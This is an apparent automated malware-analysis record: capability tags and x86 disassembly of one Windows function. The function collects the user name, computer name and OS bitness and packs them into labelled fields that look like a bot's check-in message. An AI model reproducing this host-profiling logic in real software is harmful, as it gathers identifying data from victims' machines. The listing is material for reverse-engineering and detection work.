Function at 0x401cc0
Capabilities:
Get hostname
Get session user name

Disassembly:
push ebp
lea ebp, [esp - 0x74]
sub esp, 0x10c
cmp dword [ebp + 0x7c], 1
jne 0x401cdb
mov eax, dword [0x406480]
mov dword [ebp + 0x70], eax
jmp 0x401ce4
mov ecx, dword [0x406484]
mov dword [ebp + 0x70], ecx
cmp dword [ebp + 0x7c], 1
jne 0x401dc6
push 0x40
push 0
lea edx, [ebp - 0x18]
push edx
call fcn.00401950
add esp, 0xc
mov dword [ebp + 0x6c], 0x40
lea eax, [ebp + 0x6c]
push eax
lea ecx, [ebp - 0x18]
push ecx
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
lea edx, [ebp - 0x18]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x70]
mov dword [ebp + 0x70], eax
push 0x40
push 0
lea eax, [ebp - 0x58]
push eax
call fcn.00401950
add esp, 0xc
mov dword [ebp + 0x6c], 0x40
lea ecx, [ebp + 0x6c]
push ecx
lea edx, [ebp - 0x58]
push edx
call dword [sym.imp.KERNEL32.dll_GetComputerNameA]
lea eax, [ebp - 0x58]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x70]
mov dword [ebp + 0x70], eax
push 0x40
push 0
lea ecx, [ebp - 0x98]
push ecx
call fcn.00401950
add esp, 0xc
lea edx, [ebp - 0x98]
push edx
call fcn.00401fd0
add esp, 4
lea eax, [ebp - 0x98]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x70]
mov dword [ebp + 0x70], eax
cmp dword [0x407af0], 1
jne 0x401da7
push str.64_Bit
lea ecx, [ebp + 0x5c]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
jmp 0x401db6
push str.32_Bit
lea edx, [ebp + 0x5c]
push edx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea eax, [ebp + 0x5c]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x70]
mov dword [ebp + 0x70], eax
push 0x407ac0
lea ecx, [ebp + 0x28]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
lea edx, [ebp + 0x28]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x70]
mov dword [ebp + 0x70], eax
push 0xa
push 0
lea eax, [ebp + 0x50]
push eax
call fcn.00401950
add esp, 0xc
lea ecx, [ebp + 0x50]
push ecx
call fcn.004021b0
add esp, 4
lea edx, [ebp + 0x50]
push edx
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x70]
mov dword [ebp + 0x70], eax
call fcn.00402210
mov dword [ebp + 0x68], eax
mov eax, dword [ebp + 0x68]
push eax
call dword [sym.imp.KERNEL32.dll_lstrlenA]
add eax, dword [ebp + 0x70]
mov dword [ebp + 0x70], eax
push 0x407a60
call dword [sym.imp.KERNEL32.dll_EnterCriticalSection]
mov ecx, dword [ebp + 0x70]
add ecx, dword [0x407a9c]
mov dword [ebp + 0x70], ecx
mov edx, dword [ebp + 0x70]
shl edx, 1
push edx
push 8
mov eax, dword [0x407a8c]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
mov dword [0x407ae8], eax
mov ecx, dword [0x407ae8]
push ecx
lea edx, [ebp + 0x28]
push edx
push str.page
call fcn.00402380
add esp, 0xc
cmp dword [0x407a9c], 0
jbe 0x401ec6
mov eax, dword [0x407aec]
sub eax, dword [0x407a9c]
mov dword [0x407aec], eax
mov ecx, dword [0x407ae8]
push ecx
mov edx, dword [0x407aec]
push edx
push str.ump
call fcn.00402380
add esp, 0xc
mov eax, dword [0x407a9c]
push eax
push 0
mov ecx, dword [0x407aec]
push ecx
call fcn.00401950
add esp, 0xc
mov dword [0x407a9c], 0
push 0x407a60
call dword [sym.imp.KERNEL32.dll_LeaveCriticalSection]
cmp dword [ebp + 0x7c], 1
jne 0x401f39
mov edx, dword [0x407ae8]
push edx
lea eax, [ebp - 0x18]
push eax
push str.unm
call fcn.00402380
add esp, 0xc
mov ecx, dword [0x407ae8]
push ecx
lea edx, [ebp - 0x58]
push edx
push str.cnm
call fcn.00402380
add esp, 0xc
mov eax, dword [0x407ae8]
push eax
lea ecx, [ebp - 0x98]
push ecx
push str.query
call fcn.00402380
add esp, 0xc
mov edx, dword [0x407ae8]
push edx
lea eax, [ebp + 0x5c]
push eax
push str.spec
call fcn.00402380
add esp, 0xc
mov ecx, dword [0x407ae8]
push ecx
lea edx, [ebp + 0x50]
push edx
push str.opt
call fcn.00402380
add esp, 0xc
mov eax, dword [0x407ae8]
push eax
mov ecx, dword [ebp + 0x68]
push ecx
push str.view
call fcn.00402380
add esp, 0xc
push str.Machines
push 0x407aa0
call dword [sym.imp.KERNEL32.dll_lstrcpyA]
mov edx, dword [0x407ae8]
push edx
push 0x407aa0
push str.var
call fcn.00402380
add esp, 0xc
push 0x406470
mov eax, dword [0x407ae8]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
push 0x407370
mov ecx, dword [0x407ae8]
push ecx
call dword [sym.imp.KERNEL32.dll_lstrcatA]
mov edx, dword [ebp + 0x68]
push edx
push 0
mov eax, dword [0x407a8c]
push eax
call dword [sym.imp.KERNEL32.dll_HeapFree]
add ebp, 0x74
mov esp, ebp
pop ebp
ret